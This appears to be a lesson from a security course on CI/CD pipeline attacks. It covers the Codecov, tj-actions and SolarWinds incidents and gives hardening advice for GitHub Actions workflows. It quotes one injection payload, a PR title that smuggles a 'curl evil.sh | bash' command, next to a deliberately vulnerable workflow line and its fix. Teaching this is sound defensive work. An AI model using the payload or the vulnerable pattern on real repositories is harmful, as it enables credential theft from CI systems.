Lesson 11 of 12 · 22m
The Pipeline Is the Target
Codecov's bash uploader, the tj-actions tag re-point, pull_request_target, and script injection — the CI system is a remote-code-execution service holding your keys.
Everything so far assumes the pipeline is the defender. Flip it: your CI system is the most privileged machine you own. It holds deploy keys, cloud credentials, signing identities, and write access to the code that becomes production — and it executes code shaped by every pull request, issue title, and third-party action you reference. Attackers noticed this before defenders did.
The evidence, three entries
- Codecov, disclosed April 2021. Someone modified Codecov's bash uploader script and, for two months, it quietly exfiltrated CI environment variables — credentials, tokens, keys — out of thousands of customer builds. The "tool you pipe to bash" is supply chain.
- tj-actions/changed-files, March 2025 (CVE-2025-30066). Every version tag of a GitHub Action used by tens of thousands of repos was re-pointed to a commit that dumped CI secrets into public workflow logs. Repos that referenced
tj-actions/changed-files@v45got the malicious code by name. Repos that pinned a full commit SHA did not. - SolarWinds, December 2020. The build system itself was the target — SUNBURST entered upstream of every control in this course.
The wrong mental model is "the pipeline runs security checks." The right one is "the pipeline is a remote-code-execution service with your keys in its environment — its job is to run untrusted-adjacent code safely."
The three ways your own YAML betrays you
pull_request_target checking out untrusted code. The trigger runs in the base repo's context — secrets available, GITHUB_TOKEN write-enabled — even for fork PRs. The moment a pull_request_target workflow does actions/checkout of the PR's head and runs it, a stranger's code executes with your credentials. GitHub's own docs warn about this; every quarter somebody does it anyway to "comment on the PR." If you must touch fork code, do it in a pull_request job (no secrets) or gate execution behind an environment approval.
Script injection in run:. This is a shell injection in the default branch's context:
- run: echo "Building ${{ github.event.pull_request.title }}"A title of "; curl evil.sh | bash #" is your credential exfiltration. The fix is indirection — contexts in run: must go through env, never inline:
- env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "Building $TITLE"actionlint flags these patterns statically; run it on .github/workflows/ like a linter, because it is one.
Movable references. @v4 is a tag the maintainer can re-point — that's the entire tj-actions mechanism. Pin by full SHA with a comment: uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2, and let Dependabot or Renovate update the pins so "pinning" doesn't mean "never updated."
Cap the blast radius
permissions:
contents: read # start empty, grant explicitly per jobGITHUB_TOKEN defaults have drifted over the years — write for repos created before February 2023, read for newer ones — so don't rely on the default: declare permissions: on every workflow and give each job only what it needs. A secrets-scanning job does not need contents: write.
Replace stored cloud keys entirely: id-token: write plus aws-actions/configure-aws-credentials with role-to-assume turns an AWS key-in-a-secret into a five-minute OIDC identity bound to that repo and workflow. Same pattern on GCP (workload_identity_provider) and Azure (federated credentials). A leaked OIDC token expires in minutes and is scoped to a role; a leaked stored key is a credential forever.
The remaining traps: self-hosted runners on public repos execute arbitrary fork code on your infrastructure — ephemeral runners on an isolated segment, or GitHub-hosted. Cache poisoning: GitHub caches restore across branch scopes, so a workflow that executes untrusted code and then writes actions/cache entries can seed poisoned dependencies into later builds on trusted branches — cache only what the job built itself. Environment protection rules put a human approval between "workflow green" and "deploy to prod"; use them on the environment: that holds deploy creds.
Field notes
- Third-party action = third-party code with your secrets. The review is one minute: check the repo, pin the SHA.
GITHUB_TOKENwrite scope +pull_request_target+ checkout-of-head is the full compromise. Audit for it by name.- Workflow files deserve the same gate as code —
actionlintin CI, and treat changes to.github/workflows/as security-relevant diffs.
Was this lesson helpful?
Keep reading
Related articles from the SudoSecurity blog.
Buying Time: Package Managers Are Adding Delay as a Security Control
Composer 2.11 shipped a cooldown that refuses to install a version until it has aged. vlt now holds npm publishes until their dependencies actually exist, because 22% of new npm versions land broken. And Ruby Central's reviewers threw out 90% of what an AI scanner flagged.
Your npm Install Just Ran Someone Else's Code: Why Dependency Security Has to Start Before CI
A pull request checkout, a poisoned GitHub Actions cache, and an OIDC token pulled straight out of runner memory. That's how 84 malicious versions of TanStack's packages hit npm in six minutes.
CVE-2025-62718: Critical Axios SSRF Vulnerability Explained
A critical SSRF flaw in Axios was used in a North Korean supply chain attack. Here's what it does and how to patch it today.
What is Supply Chain Security? Dependencies, SBOMs, and the Attack That Hit 2.6 Billion npm Downloads
Your application is only as secure as every package it depends on. In September 2025, attackers compromised 27 npm packages with 2.6 billion weekly downloads by phishing one maintainer.